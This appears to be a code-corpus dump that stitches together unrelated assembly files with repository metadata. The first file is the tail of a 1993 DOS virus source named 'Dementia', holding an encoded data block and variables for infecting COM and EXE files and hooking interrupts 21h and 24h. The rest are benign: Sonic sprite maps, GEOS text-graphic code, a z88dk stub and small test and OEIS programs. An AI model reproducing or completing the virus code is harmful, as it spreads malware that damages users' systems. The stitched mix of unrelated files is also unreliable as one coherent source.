3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh db 05h,6bh,0ah,20h,07h ansi_end: file_end: temp_file db '!#TEMP#!',00h ; Temporary file request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA filename db 'RECEIPT.IVA ',00h ; Filename receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM file_specifi db '*.*',00h ; File specification origin_code db 0cdh,21h,? ; Original code of infected COM file int21_addr dd ? ; Address of interrupt 21h int24_addr dd ? ; Address of interrupt 24h com_or_exe db 00h ; COM or EXE executable stack_ptr dw ? ; Original stack pointer stack_seg dw ? ; Original stack segment instruct_ptr dw ? ; Original instruction pointer code_seg dw ? ; Original code segment initial_ip dw ? ; Initial IP initial_cs dw ? ; Initial CS relative to start of ... code_seg_ dw ? ; Code segment tst_filesize dw 00h ; Test or don't test filesize db 'Dementia]',00h db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h db 'I am the man that walks alone',0dh,0ah db 'And when I''m walking a dark road',0dh,0ah db 'At night or strolling through the park',0dh,0ah db 'When the light begins to change',0dh,0ah db 'I sometimes feel a little strange',0dh,0ah db 'A little anxious when it''s dark',0dh,0ah,00h crypt_begin: code_end: data_end: end code_begin
34.674407
80
0.552106
c6ad96259369af4ebf0dd3fb604dc37f54e8f9dc
498
asm
Assembly
_maps/SBZ Vanishing Platforms.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
9
2021-01-15T13:47:53.000Z
2022-01-17T15:33:55.000Z
_maps/SBZ Vanishing Platforms.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
7
2021-01-14T02:18:48.000Z
2021-03-24T15:44:30.000Z
_maps/SBZ Vanishing Platforms.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
2
2021-01-14T13:14:26.000Z
2021-01-29T17:46:04.000Z
; --------------------------------------------------------------------------- ; Sprite mappings - vanishing platforms (SBZ) ; --------------------------------------------------------------------------- Map_VanP_internal: dc.w @whole-Map_VanP_internal dc.w @half-Map_VanP_internal dc.w @quarter-Map_VanP_internal dc.w @gone-Map_VanP_internal @whole: dc.b 1 dc.b $F8, $F, 0, 0, $F0 @half: dc.b 1 dc.b $F8, 7, 0, $10, $F8 @quarter: dc.b 1 dc.b $F8, 3, 0, $18, $FC @gone: dc.b 0 even
31.125
77
0.449799
3a5fea2f9e475ab856973adcb40ae014dea8db32
19,560
asm
Assembly
Library/Text/TextGraphic/tgGraphic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Text/TextGraphic/tgGraphic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Text/TextGraphic/tgGraphic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Text/TextGraphic FILE: tgGraphic.asm METHODS: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version DESCRIPTION: ... $Id: tgGraphic.asm,v 1.1 97/04/07 11:19:35 newdeal Exp $ ------------------------------------------------------------------------------@ TextGraphic segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: TG_GraphicRunSize DESCRIPTION: Return the bounds of a graphic element CALLED BY: EXTERNAL PASS: *ds:si - text object dx.ax - position in text RETURN: cx - width (0 means 0 width graphic) dx - height (0 to use current text height) DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ TG_GraphicRunSize proc far uses di, bp class VisTextClass .enter mov di, 1000 call ThreadBorrowStackSpace push di sub sp, size VisTextGraphic mov bp, sp call TA_GetGraphicForPosition ;ss:bp = graphic ; get values to return mov cx, ss:[bp].VTG_size.XYS_width mov dx, ss:[bp].VTG_size.XYS_height ; null size ? tst cx jnz done tst dx jnz done EC < cmp ss:[bp].VTG_type, VTGT_VARIABLE > EC < ERROR_NZ VIS_TEXT_GRAPHIC_CANNOT_HAVE_SIZE_0 > push ax, di, bp mov di, ds:[si] add di, ds:[di].Vis_offset mov cx, ds:[di].VTI_gstate mov dx, ss mov ax, MSG_VIS_TEXT_GRAPHIC_VARIABLE_SIZE call ObjCallInstanceNoLock ;ax = non-zero if handled pop ax, di, bp done: add sp, size VisTextGraphic pop di call ThreadReturnStackSpace .leave ret TG_GraphicRunSize endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextGraphicVariableSize -- MSG_VIS_TEXT_GRAPHIC_VARIABLE_SIZE for VisTextClass DESCRIPTION: Default handler for finding the size of a variable graphic PASS: *ds:si - instance data es - segment of VisTextClass ax - The message cx - gstate dx:bp - VisTextGraphic (dx always = ss) RETURN: cx - width dx - height DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/30/92 Initial version ------------------------------------------------------------------------------@ VisTextGraphicVariableSize proc far ;MSG_VIS_TEXT_GRAPHIC_VARIABLE_SIZE ; send a message up to the document to try to get a string sub sp, GEN_DOCUMENT_GET_VARIABLE_BUFFER_SIZE mov di, sp ;ss:di = buffer call GetVariableString segmov ds, ss mov si, di ;ds:si = string mov di, cx ;di = gstate clr cx ;null terminated call GrTextWidth mov cx, dx ;cx = width clr dx ;height = 0 add sp, GEN_DOCUMENT_GET_VARIABLE_BUFFER_SIZE ret VisTextGraphicVariableSize endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetVariableString DESCRIPTION: Get the string for a variable CALLED BY: INTERNAL PASS: *ds:si - text object cx - gstate dx:bp - VisTextGraphic (dx always = ss) ss:di - buffer RETURN: buffer filled DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/30/92 Initial version ------------------------------------------------------------------------------@ GetVariableString proc near uses ax, bx, cx, dx, di, bp .enter ; initialize string to default mov {word} ss:[di], '#' ;'#' followed by 0 DBCS < mov {wchar}ss:[di][2], 0 > ; push GenDocumentGetVariableParams on the stack push ds:[LMBH_handle], si ;GDGVP_object pushdw dxbp ;GDGVP_graphic pushdw ssdi ;GDGVP_buffer ; get the position of the graphic by taking: ; (current transform - default transform) + WinBounds (if any) call CalculatePositionInSpace ;cxbx = x, dxax = y pushdw dxax ;GDGVP_position.PD_y pushdw cxbx ;GDGVP_position.PD_x mov bp, sp mov dx, size GenDocumentGetVariableParams mov ax, MSG_GEN_DOCUMENT_GET_VARIABLE mov di, mask MF_RECORD or mask MF_STACK push si mov bx, segment GenDocumentClass mov si, offset GenDocumentClass call ObjMessage ;di = message pop si add sp, size GenDocumentGetVariableParams mov cx, di mov ax, MSG_VIS_VUP_CALL_OBJECT_OF_CLASS call ObjCallInstanceNoLock .leave ret GetVariableString endp COMMENT @---------------------------------------------------------------------- FUNCTION: CalculatePositionInSpace DESCRIPTION: Calculate the current "document" position for the given gstate CALLED BY: INTERNAL PASS: cx - gstate RETURN: cxbx - x pos dxax - y pos DESTROYED: di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/ 1/92 Initial version ------------------------------------------------------------------------------@ CalculatePositionInSpace proc near uses si, ds currentTransform local TransMatrix .enter mov di, cx ;di = state segmov ds, ss lea si, currentTransform call GrGetTransform call GrGetWinHandle ;ax = window tst ax movdw cxbx, currentTransform.TM_e31.DWF_int movdw dxax, currentTransform.TM_e32.DWF_int jnz done ; no window -- subtract the default transform call GrSaveTransform call GrSetDefaultTransform call GrGetTransform call GrRestoreTransform subdw cxbx, currentTransform.TM_e31.DWF_int subdw dxax, currentTransform.TM_e32.DWF_int done: .leave ret CalculatePositionInSpace endp COMMENT @---------------------------------------------------------------------- FUNCTION: TG_GraphicRunDraw DESCRIPTION: Draw a graphic element CALLED BY: EXTERNAL PASS: *ds:si - text object bx - baseline position cx - line height (THIS IS NOT PASSED -- brianc 2/29/00) dx.ax - position in text di - gstate RETURN: cx - width of graphic drawn dx - height of graphic drawn DESTROYED: none Graphic element draw routines: PASS: *ds:si - text object ss:bp - VisTextGraphic di - gstate RETURN: none (state of the gstate can be trashed) DESTROY: ax, bx, cx, dx, si, di, bp, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ TG_GraphicRunDraw proc far uses ax, bx, si, di, bp, ds, es .enter mov bp, di mov di, 1000 call ThreadBorrowStackSpace push di mov di, bp push di call GrSaveState ; Copy the text color to the line and area color to prevent the ; "inviso-graphic" bug on black and white systems and also so that ; graphics that do not specify a color are drawn in an appropriate ; color push ax, bx ; save position in the text. call GrGetTextColor mov ah, CF_RGB call GrSetLineColor call GrSetAreaColor mov al, SDM_100 call GrSetAreaMask pop ax, bx sub sp, size VisTextGraphic mov bp, sp call TA_GetGraphicForPosition ;fill in ss:bp clr al ; al <- bits to set, ah <- bits to clear mov ah, mask TM_DRAW_BASE or \ mask TM_DRAW_BOTTOM or \ mask TM_DRAW_ACCENT or \ mask TM_DRAW_OPTIONAL_HYPHENS test ss:[bp].VTG_flags, mask VTGF_DRAW_FROM_BASELINE jz gotFlags mov al, mask TM_DRAW_BASE ; al <- bits to set, ah <- bits to clear mov ah, mask TM_DRAW_BOTTOM or \ mask TM_DRAW_ACCENT or \ mask TM_DRAW_OPTIONAL_HYPHENS gotFlags: call GrSetTextMode ; Clear all the TextMode bits ; We are passed the top of the line as the position to draw. ; We want to move to draw with the bottom above the baseline. ; To do this we need to move the pen position down by: ; baseline - graphicHeight ; bx already holds the baseline. ; Note:RelMoveTo now takes WWFixed values, hence the change push cx, dx sub bx, ss:[bp].VTG_size.XYS_height clr ax clr cx, dx call GrRelMoveTo pop cx, dx ; draw the sucker push ss:[bp].VTG_size.XYS_width, ss:[bp].VTG_size.XYS_height clr bx mov bl, ss:[bp].VTG_type shl bx push bp mov ax, MSG_VIS_TEXT_GET_FEATURES call ObjCallInstanceNoLock pop bp test cx, mask VTF_DONT_SHOW_GRAPHICS jz drawGraphic ; Draw a rectangle in place of the graphic. mov ax, C_LIGHT_GRAY call GrSetAreaColor mov ax, C_DARK_GRAY call GrSetLineColor pop cx, dx ; cx, dx <- width/height. tst cx jnz haveSize ; ; get size (just send msg instead of calling TG_GraphicRunSize ; since parameters are a bit easier to set up) ; mov cx, di ; cx = gstate mov dx, ss ; dx:bp = VisTextGraphic mov ax, MSG_VIS_TEXT_GRAPHIC_VARIABLE_SIZE call ObjCallInstanceNoLock ; cx, dx = size haveSize: push cx, dx call GrGetCurPos add cx, ax add dx, bx dec cx dec dx call GrFillRect ; Fill me a rectangle. call GrDrawRect ; Fill me a rectangle. jmp done drawGraphic: call cs:[bx][GraphElementDrawRoutines] done: pop ax, bx ; ax, bx <- width, height. tst ax jz useReturnValues mov_tr cx, ax mov dx, bx useReturnValues: add sp, size VisTextGraphic pop di call GrRestoreState pop di call ThreadReturnStackSpace .leave ret TG_GraphicRunDraw endp GraphElementDrawRoutines label word word offset DrawGraphicGString word offset DrawGraphicVariable COMMENT @---------------------------------------------------------------------- FUNCTION: DrawGraphicGString DESCRIPTION: Draw a graphic element CALLED BY: INTERNAL GraphicRunDraw PASS: *ds:si - text object ss:bp - VisTextGraphic di - gstate RETURN: none (state of the gstate can be trashed) DESTROY: ax, bx, cx, dx, si, di, bp, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ DrawGraphicGString proc near ; transform me push si, ds segmov ds, ss lea si, ss:[bp].VTG_data.VTGD_gstring.VTGG_tmatrix call GrApplyTransform pop si, ds ; ; The left/top are not zero. We negate them and call GrApplyTranslation ; in order to get to the right place for the draw. ; mov dx, ss:[bp].VTG_data.VTGD_gstring.VTGG_drawOffset.XYO_x clr cx ; dx.cx <- X trans (WWFixed) mov bx, ss:[bp].VTG_data.VTGD_gstring.VTGG_drawOffset.XYO_y clr ax ; bx.ax <- Y trans (WWFixed) call GrRelMoveTo call T_GetVMFile ; bx = VM file mov ax, ss:[bp].VTG_vmChain.high tst ax jz isLMem mov cx, ss:[bp].VTG_vmChain.low tst cx jnz isDB mov_tr si, ax ;SI <- VMem chain handle ; its in a vm chain -- draw it mov cx, GST_VMEM loadAndDraw: call GrLoadGString ;si = gstring ; ; di = GState ; si = GString ; ; Draw the string, we're in the right place. ; clr dx call GrDrawGStringAtCP mov dl, GSKT_LEAVE_DATA ; leave data alone call GrDestroyGString ret isDB: ; gstring is in a DB item -- draw it push di mov di, cx call DBLock ;*es:di = data segmov ds, es mov si, ds:[di] pop di clr dx push si, bx mov cl, GST_PTR ; pointer type GString mov bx, ds ; bx:si -> GString call GrLoadGString call GrDrawGStringAtCP mov dl, GSKT_LEAVE_DATA call GrDestroyGString pop si, bx call DBUnlock done: ret isLMem: ; gstring is in a chunk -- draw it mov si, ss:[bp].VTG_vmChain.low tst si jz done mov si, ds:[si] clr dx mov cl, GST_PTR ; pointer type GString mov bx, ds ; bx:si -> GString jmp loadAndDraw DrawGraphicGString endp COMMENT @---------------------------------------------------------------------- FUNCTION: DrawGraphicVariable DESCRIPTION: Draw a graphic element by sending a method to ourself CALLED BY: INTERNAL GraphicRunDraw PASS: *ds:si - text object ss:bp - VisTextGraphic di - gstate RETURN: cx - width of graphic drawn dx - height of graphic drawn state of the gstate can be trashed DESTROY: ax, bx, si, di, bp, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ DrawGraphicVariable proc near mov ax, MSG_VIS_TEXT_GRAPHIC_VARIABLE_DRAW mov cx, di ;pass gstate in dx mov dx, ss call ObjCallInstanceNoLock ret DrawGraphicVariable endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextGraphicVariableDraw -- MSG_VIS_TEXT_GRAPHIC_VARIABLE_DRAW for VisTextClass DESCRIPTION: Default handler for drawing a variable graphic PASS: *ds:si - instance data es - segment of VisTextClass ax - The message cx - gstate with font and current position set dx:bp - VisTextGraphic (dx always = ss) RETURN: cx - width of the graphic dx - height of the graphic DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/30/92 Initial version ------------------------------------------------------------------------------@ VisTextGraphicVariableDraw proc far ;MSG_VIS_TEXT_GRAPHIC_VARIABLE_DRAW ; send a message up to the document to try to get a string sub sp, GEN_DOCUMENT_GET_VARIABLE_BUFFER_SIZE mov di, sp ;ss:di = buffer call GetVariableString segmov ds, ss mov si, di ;ds:si = string mov di, cx ;di = gstate clr cx ;null terminated call GrDrawTextAtCP call GrTextWidth mov cx, dx ;cx = width clr dx ;height = 0 add sp, GEN_DOCUMENT_GET_VARIABLE_BUFFER_SIZE ret VisTextGraphicVariableDraw endp COMMENT @---------------------------------------------------------------------- FUNCTION: TG_GraphicRunDelete DESCRIPTION: Delete a graphic element CALLED BY: INTERNAL RemoveElementLow PASS: *ds:si - graphic element array ds:di - VisTextGraphic ax - VM file RETURN: none DESTROYED: ax, bx, cx, dx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ TG_GraphicRunDelete proc far uses si, di, bp .enter mov_tr bx, ax ;bx = VM file movdw axbp, ds:[di].VTG_vmChain tst ax jz done call VMFreeVMChain done: .leave ret TG_GraphicRunDelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextGetGraphicAtPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gets the graphic at the current position. CALLED BY: GLOBAL PASS: ss:bp - VisTextGetGraphicAtPositionParams RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/24/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextGetGraphicAtPosition proc far ;method VisTextClass MSG_VIS_TEXT_GET_GRAPHIC_AT_POSITION .enter if ERROR_CHECK ; ; Validate that ret ptr is not in a movable code segment ; FXIP< push bx, si > FXIP< movdw bxsi, ss:[bp].VTGGAPP_retPtr > FXIP< call ECAssertValidFarPointerXIP > FXIP< pop bx, si > endif movdw dxax, ss:[bp].VTGGAPP_position les di, ss:[bp].VTGGAPP_retPtr sub sp, size VisTextGraphic mov bp, sp ;SS:BP <- buffer for VisTextGraphic call TA_GetGraphicForPosition ; Copy the VisTextGraphic structure out. segmov ds, ss ;DS:SI <- size VisTextGraphic mov si, bp mov cx, (size VisTextGraphic) / 2 rep movsw add sp, size VisTextGraphic .leave ret VisTextGetGraphicAtPosition endp COMMENT @---------------------------------------------------------------------- FUNCTION: TG_IfVariableGraphicsThenRecalc DESCRIPTION: If the object contains a varibale graphic then recalculate it CALLED BY: INTERNAL PASS: *ds:si - text object RETURN: cx - chunk handle to pass to TG_RecalcAfterPrint DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/13/92 Initial version ------------------------------------------------------------------------------@ TG_IfVariableGraphicsThenRecalc proc far uses ax, bx, dx, di, es class VisTextClass .enter EC < call T_AssertIsVisText > clr cx call TA_CheckForVariableGraphics jnc done ; variable graphic exists -- save line structures mov di, ds:[si] add di, ds:[di].Vis_offset mov bx, ds:[di].VTI_lines ;bx = line array push bx ;save line array ; save flags mov ax, si call ObjGetFlags push ax ;save the flags push bx mov ax, si mov bx, mask OCF_IGNORE_DIRTY call ObjSetFlags pop bx push si ;save object push bx ;save line array ChunkSizeHandle ds, bx, cx ;cx = size mov al, mask OCF_IGNORE_DIRTY call LMemAlloc ;ax = new line arrray mov di, ds:[si] add di, ds:[di].Vis_offset mov ds:[di].VTI_lines, ax mov_tr di, ax mov di, ds:[di] segmov es, ds ;es:di = dest pop si mov si, ds:[si] ;ds:si = source rep movsb pop si ;*ds:si = object call TextCompleteRecalc mov ax, si pop bx ;bx = old flags mov bh, bl clr bl and bh, mask OCF_IGNORE_DIRTY call ObjSetFlags pop cx done: .leave ret TG_IfVariableGraphicsThenRecalc endp COMMENT @---------------------------------------------------------------------- FUNCTION: TG_RecalcAfterPrint DESCRIPTION: Recalculate after printing with variable graphics CALLED BY: INTERNAL PASS: *ds:si - text object cx - chunk returned by TG_IfVariableGraphicsThenRecalc RETURN: none DESTROYED: cx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/13/92 Initial version ------------------------------------------------------------------------------@ TG_RecalcAfterPrint proc far uses ax, cx, di class VisTextClass .enter EC < call T_AssertIsVisText > mov_tr ax, cx mov di, ds:[si] add di, ds:[di].Vis_offset xchg ax, ds:[di].VTI_lines call LMemFree .leave ret TG_RecalcAfterPrint endp TextGraphic ends
20.987124
95
0.613446
0ad1e8895b936e2fd80c18a0b29dbdbddeb144bd
400
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_install.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_install.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_install.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR THE BIFROST*2 ENGINE ; ; See "bifrost2.h" for further details ; ---------------------------------------------------------------- ; void BIFROST2_install(void) SECTION code_clib SECTION code_bifrost2 PUBLIC _BIFROST2_install EXTERN asm_BIFROST2_install defc _BIFROST2_install = asm_BIFROST2_install
23.529412
66
0.55
7b076930666de50432d89078e4fa190bd23f30c0
465
asm
Assembly
test/p2.asm
slcz/hummingbird
8f5d0695a6b6460b1eeaa0e1c520abf6527c0492
[ "Apache-2.0" ]
null
null
null
test/p2.asm
slcz/hummingbird
8f5d0695a6b6460b1eeaa0e1c520abf6527c0492
[ "Apache-2.0" ]
null
null
null
test/p2.asm
slcz/hummingbird
8f5d0695a6b6460b1eeaa0e1c520abf6527c0492
[ "Apache-2.0" ]
null
null
null
#include "hi.asm" // Test basic instructions, "nop" dumps processor state lh H(0x5a) addi L(0x5a) neg // a = a6 nop sign jc 1f li(0) 2: jmp 2b 1: // a = 1 li(1) nop li (0x5a) sign jc 1f // a = 2 li(2) nop jmp 0f 1: li(0) 1: jmp 1b 0: li (0x5a) shl // a = b4 nop shl // a = 68 nop shl // a = d0 nop shl // a = a0 nop li (0x5a) shr // a = 2d nop // a = 16 shr nop li (0x5a) shl4 // a = a0 nop li (0x5a) rol // b4 nop rol // 69 nop swap // 96 nop asr // cb 1: jmp 1b
7.153846
55
0.576344
9aa0fc69f8d792efdf24e0110d6e46ca248d4eb0
366
asm
Assembly
programs/oeis/029/A029024.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/029/A029024.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/029/A029024.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A029024: Expansion of 1/((1-x)(1-x^2)(1-x^7)(1-x^12)). ; 1,1,2,2,3,3,4,5,6,7,8,9,11,12,15,16,19,20,23,25,28,31,34,37,41,44,49,52,58,61,67,71,77,82,88,94,101,107,115,121,130,136,146,153,163,171,181,190,201,211,223,233,246 lpb $0 mov $2,$0 sub $0,2 seq $2,25788 ; Expansion of 1/((1-x)(1-x^7)(1-x^12)). add $1,$2 add $1,$2 lpe div $1,2 add $1,1 mov $0,$1
26.142857
165
0.584699
84d61cb5cb02255ec8f74971d5c53152e1879fd6
656
asm
Assembly
programs/oeis/061/A061502.asm
neoneye/loda
